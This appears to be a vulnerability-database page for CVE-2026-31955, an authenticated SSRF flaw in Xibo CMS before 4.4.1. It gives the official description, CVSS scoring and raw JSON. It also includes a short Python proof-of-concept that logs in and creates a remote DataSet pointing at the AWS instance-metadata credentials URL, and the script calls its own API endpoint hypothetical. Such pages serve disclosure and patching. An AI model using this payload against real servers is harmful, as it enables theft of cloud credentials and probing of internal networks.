Security Vulnerability Report
中文
CVE-2026-31955 CVSS 4.9 MEDIUM

CVE-2026-31955

Published: 2026-04-24 01:16:12
Last Modified: 2026-04-27 14:43:43

Description

Xibo is an open source digital signage platform with a web content management system and Windows display player software. An authenticated Server-Side Request Forgery (SSRF) vulnerability in versions prior to 4.4.1 allows users with DataSet permissions to make arbitrary HTTP requests from the CMS server to internal or external network resources. This can be exploited to scan internal infrastructure, access local cloud metadata endpoints (e.g., AWS IMDS), interact with internal services that lack authentication, or exfiltrate data. Exploitation of the vulnerability is possible on behalf of an authorized user who has both of the following privileges, which are not granted to non-admins as standard: Include "Add DataSet" button to allow for additional DataSets to be created independently to Layouts. Users should upgrade to version 4.4.1 which fixes this issue. Upgrading to a fixed version is necessary to remediate. Users unable to upgrade should revoke such privileges from users they do not trust.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:xibosignage:xibo:*:*:*:*:*:*:*:* - VULNERABLE
Xibo CMS < 4.4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-31955 PoC: Authenticated SSRF in Xibo CMS < 4.4.1 # Description: Exploits the DataSet creation feature to force the server to fetch an internal resource. TARGET_URL = "http://vulnerable-xibo-cms.com" LOGIN_URL = f"{TARGET_URL}/login" API_URL = f"{TARGET_URL}/api/dataset" # Hypothetical endpoint based on functionality # Credentials for a user with 'Add DataSet' privilege USERNAME = "attacker" PASSWORD = "password" # Internal resource to access (e.g., AWS Metadata) INTERNAL_TARGET = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" def exploit(): session = requests.Session() # 1. Authenticate login_data = {"username": USERNAME, "password": PASSWORD} session.post(LOGIN_URL, data=login_data) # 2. Create malicious DataSet payload # The 'url' or similar field triggers the server-side request payload = { "name": "MaliciousDataSet", "isRemote": 1, "uri": INTERNAL_TARGET # The SSRF injection point } # 3. Send request response = session.post(API_URL, json=payload) if response.status_code == 200: print("[+] Request sent successfully. Check server response or logs for data exfiltration.") print(f"[+] Server Response: {response.text}") else: print("[-] Exploit failed or endpoint incorrect.") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31955", "sourceIdentifier": "[email protected]", "published": "2026-04-24T01:16:11.623", "lastModified": "2026-04-27T14:43:43.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Xibo is an open source digital signage platform with a web content management system and Windows display player software. An authenticated Server-Side Request Forgery (SSRF) vulnerability in versions prior to 4.4.1 allows users with DataSet permissions to make arbitrary HTTP requests from the CMS server to internal or external network resources. This can be exploited to scan internal infrastructure, access local cloud metadata endpoints (e.g., AWS IMDS), interact with internal services that lack authentication, or exfiltrate data. Exploitation of the vulnerability is possible on behalf of an authorized user who has both of the following privileges, which are not granted to non-admins as standard: Include \"Add DataSet\" button to allow for additional DataSets to be created independently to Layouts. Users should upgrade to version 4.4.1 which fixes this issue. Upgrading to a fixed version is necessary to remediate. Users unable to upgrade should revoke such privileges from users they do not trust."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xibosignage:xibo:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.4.1", "matchCriteriaId": "57F53EFF-4DF3-46B8-B538-D4D852953280"}]}]}], "references": [{"url": "https://github.com/xibosignage/xibo-cms/releases/tag/4.4.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/xibosignage/xibo-cms/security/advisories/GHSA-5q58-9vhx-xg2p", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}